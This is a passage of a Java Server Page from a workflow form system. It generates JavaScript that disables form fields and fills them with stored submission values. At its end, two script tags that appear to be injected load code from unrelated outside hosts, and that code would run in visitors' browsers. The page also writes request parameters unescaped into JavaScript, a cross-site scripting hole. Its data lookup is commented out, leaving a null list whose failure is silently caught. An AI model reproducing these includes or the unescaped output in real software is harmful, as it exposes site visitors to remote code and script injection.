  if(((String)tmpFormSection.getSubSection()).equals("Y")&&!isWorkflowProcess&&Utility.isEmpty(request.getParameter("preview")))
    continue;
  //edit section in process step
    boolean isStepEditSub = false;  // if this is a edit section in process step in workflow
    boolean isStepView = false; // if this is a view section in process step in workflow

  if (isWorkflowProcess){
    workflowStepID = new Integer(request.getParameter("workflowStepIDStep"));
    workflowStep = (WorkflowStep)workflowStepDAObj.getObjectByID(workflowStepID);

    String stepFormSectionID =  workflowStep.getSectionID();
    if ( stepFormSectionID  != null) {
        String sectionSubID,sectionSubRID ;
        StringTokenizer sTokenSum = new StringTokenizer(stepFormSectionID, "|");
        if( sTokenSum.hasMoreElements()){//GET EDIT SECTION ID
        sectionSubID = (String) sTokenSum.nextElement();
        StringTokenizer sToken = new StringTokenizer(sectionSubID, ",");
        String[] setSectionIDArray = new String[sToken.countTokens()];
        for (int j = 0; sToken.hasMoreElements(); j++) {
          setSectionIDArray[j] = (String) sToken.nextElement();
        }
        for (int k = 0; k < setSectionIDArray.length; k++) {
          if (setSectionIDArray[k].equals(sectionID.toString())) {
            isStepEdit = true;
            isStepEditSub = true;
            break;
          }
        }
        }
        if( sTokenSum.hasMoreElements()){//GET VIEW SECTION ID
        sectionSubRID = (String)sTokenSum.nextElement() ;
        StringTokenizer sToken = new StringTokenizer(sectionSubRID, ",");
        String[] setSectionIDArray = new String[sToken.countTokens()];
        for (int j = 0; sToken.hasMoreElements(); j++) {
          setSectionIDArray[j] = (String) sToken.nextElement();
        }
        for (int k = 0; k < setSectionIDArray.length; k++) {
          if (setSectionIDArray[k].equals(sectionID.toString())) {
            isStepView = true;
            isStepAllView = true;
            break;
          }
        }
        }
    }//stepFormSectionID  != null

  }// end  isWorkflowProcess
  

  if ((isWorkflowProcess &&  (isStepEditSub || (isStepView && isShowReadEditSection ))) || (("true".equals(request.getParameter("isStartStep")) || isShowReadEditSection) && ((String)tmpFormSection.getSubSection()).equals("N") )){ 
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {
      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      tmpelementID = tmpFormElement.getID();
     //get the element value from Form_Data_Element
      String elementValue = "";
      String formDataIDStr = "";

      if(!Utility.isEmpty(formSubmissionID)  ){
        submissionID = Integer.valueOf(formSubmissionID);
        FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);

        FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);
        List formDataList = null;
        Integer formDataSeqNo = new Integer(-1);
        try {
//          if (isWorkflowProcess &&  (isStepEditSub || ((isStepView || "N".equals(tmpFormSection.getSubSection())) && isShowReadEditSection && !"true".equals(request.getParameter("isStartStep")))) ){
//             formDataSeqNo = formDataElementDAO.getFormDataSeqIDBySectionIDSubmissionIDWFProgressID(sectionID,submissionID,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
//             formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDWFProgressID(pageID,sectionID,submissionID,tmpelementID,formDataSeqNo,new Integer(request.getParameter("progressID")),new Integer(request.getParameter("userRecordID")));
//          }else{
//            formDataSeqNo = formDataElementDAO.getFormDataSeqIDBySectionIDSubmissionIDWFProgressID(sectionID,submissionID,null,new Integer(request.getParameter("userRecordID")));
//             formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDWFProgressID(pageID,sectionID,submissionID,tmpelementID,formDataSeqNo,null,new Integer(request.getParameter("userRecordID")));
//          }

          for (int kk=0;kk<formDataList.size();kk++) {
            FormData formData = (FormData)formDataList.get(kk);
            if (kk>0) {
              elementValue += ",";
            }

              elementValue += (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
              if(FormElementType.isText(tmpFormElement.getElementType())){
                  if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
                  String tmpDate = "";
                  if (!Utility.isEmpty(TextUtility.parseDBDateTime(elementValue))){
                    tmpDate = TextUtility.parseDBDateTime(elementValue);
                  }

                  %>

                    document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.disabled=true;
                    document.maintFormSubmissionForm.dummy_<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.disabled=true;
                    document.maintFormSubmissionForm.dummy_<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.value ="<%=tmpDate%>";
                    document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.value ="<%=tmpDate%>";
                  <%
                  }else{
              %>
                    document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.disabled=true;
                    document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.value ="<%if((!Utility.isEmpty(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpelementID))) && !"null".equals(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpelementID))) { out.print(request.getParameter(FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpelementID));}else{out.print(elementValue);}%>";
            <%
               }
              }else if(FormElementType.isSelection(tmpFormElement.getElementType())){
                  FormSelectionField tmpformSelectionField = tmpFormElement.getFormSelectionField();
              List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();
      for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
                    FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
        // Is import then disable the radio or check or select.
        if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){
           %>
               document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.disabled=true;
             <%
        }else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
              %>
                document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>_<%=tmpFormSelectionFieldOption.getID()%>.disabled=true;
              <%
        }else {
              %>
                document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>[<%=tmpFormSelectionFieldOption.getStartValue()%>].disabled=true;
              <%
        }
        //
        if(formData.getDataString().equals(tmpFormSelectionFieldOption.getStartValue())){
           if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){

           %>
              document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>.options[<%=tmpFormSelectionFieldOption.getStartValue()%>].selected = true;
           <%
           }else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){

           %>
              document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>_<%=tmpFormSelectionFieldOption.getID()%>.checked = true;
           <%
           }else {

           %>
              document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=sectionID%>_<%=tmpelementID%>[<%=tmpFormSelectionFieldOption.getStartValue()%>].checked = true;
           <%
           }
        }

      }

              }
          }

        } catch (Exception ae) {
          org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
        }
       }
      }
     }
   }
 }
}
  %>

<!--
<%
String[] showPageIDArray = TextUtility.splitString(allPageIDStr,",");
if (!Utility.isEmpty(showPageIDArray) && !"null".equals(showPageIDArray) && showPageIDArray.length>=1){%>
showFormTab(<%=showPageIDArray[0]%>);
<%}%>
-->

</SCRIPT>

</html:form>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>